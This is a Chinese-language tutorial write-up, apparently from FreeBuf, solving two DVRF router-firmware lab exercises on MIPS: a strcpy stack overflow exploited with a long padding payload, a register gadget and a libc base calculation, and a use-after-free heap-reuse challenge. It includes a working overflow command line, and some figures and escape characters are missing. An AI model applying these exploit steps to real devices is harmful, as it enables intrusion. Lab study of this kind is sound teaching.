當前位置:
首頁 > 科技 > 路由器漏洞復現分析第三彈:DVRF INTRO題目分析

路由器漏洞復現分析第三彈:DVRF INTRO題目分析

原標題:路由器漏洞復現分析第三彈:DVRF INTRO題目分析


*本文作者:kczwa1,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。


這個項目的目的是來幫助人們學習X86_64之外其他架構環境,同時還幫助人們探索路由器固件裡面的奧秘。


本文通過練習DVRF 中INTRO 部分的題目來學習下MIPS 結構下的各種內存攻擊。


DVRF:路由器漏洞練習靶機

用binwalk解壓DVRFbin後,題目位於如下目錄中


調試環境配置參考本系列中的前面兩篇文章:

通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄


路由器漏洞復現分析第二彈:CNVD-2018-01084

———————————————————————————————————————————————————–


第一個題目stack_bof_01


printf("Welcome to the first BoF exercise!

");


strcpy(buf, argv[1]);


printf("You entered %s
", buf);


printf("Try Again
");

return 0x41; // Just so you can see what register is populated for return statements


}


可以看到strcpy處有棧溢出,main函數為非葉子函數,返回地址ra會被存放在棧中;



strcpy拷貝的變數目標地址放在變數VAR_D0處



因此如果要覆蓋掉ra需要0xd0-0×4=204長度的字元,再接我們需要跳轉的地址,


希望的覆蓋地址如下如為dat_shell的地址0×400950:



調試命令如下:

sudo chroot . ./qemu -g 1235 ./pwnable/Intro/stack_bof_01 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb`echo -e "x50x09x40"`"


可以看到當main要返回的時候返回地址已經被覆蓋為0×400950:



當運行到dat_shell裡面時出現錯誤:



Mips中函數的調用通常是jar $t9格式,因此t9保存的是函數的地址,因為我們是直接通過jr ra過來的,所以此處的t9值並不是函數地址因此會出錯。我們需要找一個gadget讓t9中保存函數的起始地址 。通過gadget搜索,找到:


將棧中地址複製到t9並跳轉到t9.


此時要先找到libc的基地址,進入任意一個libc的提供的函數,列如memset:



找到memset函數的起始地址:


再用看下ida中memset的偏移:



那 libc_base=0x76700E10-0x0001BE10


那 address=libc_base+6b20= 0x766EBB20


最後的命令和執行結果如圖:



————————————————————————————————————————————————————


第二個題目 uaf_01


heap_of = malloc(sizeof(message));

strncpy(heap_of,message,sizeof(message));


printf("Heap Address 1 of 17 bytes: %p
", heap_of);


free(heap_of);


int size = strlen(argv[1]);


heap_of2 = malloc(size);


printf("Heap Address 2 of %d bytes: %p
", size, heap_of2);


printf("Copying contents of argv[1] to Heap Address 2

");


strncpy(heap_of2, argv[1], size);


if (heap_of2 != heap_of){


exit(1);

}


else{


printf("Awesome!
");


free(heap_of2);


}


從c代碼看,只要heap_of;heap_of2兩個字元串指針的地址相同就可以走到正確的分支.


第一個內存分配內存後如圖:



拷貝第一個字元串後:


Free掉第一個變數後:



此時再按輸入的參數長度分配第二塊內存,如果輸入的參數長度不夠長,那麼就在free掉的第一塊內存里取一塊,如圖,v0是malloc返回的地址:




此時,兩次分配的地址不一樣,程序走到錯誤分析。


當參數長度大於等於13時,第二次malloc的內存是第一次malloc的地址,走到正確分支



使用的命令如圖


*本文作者:kczwa1,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 黑客與極客 的精彩文章:

華碩路由器AsusWRT區域網內未授權遠程代碼執行漏洞

TAG:黑客與極客 |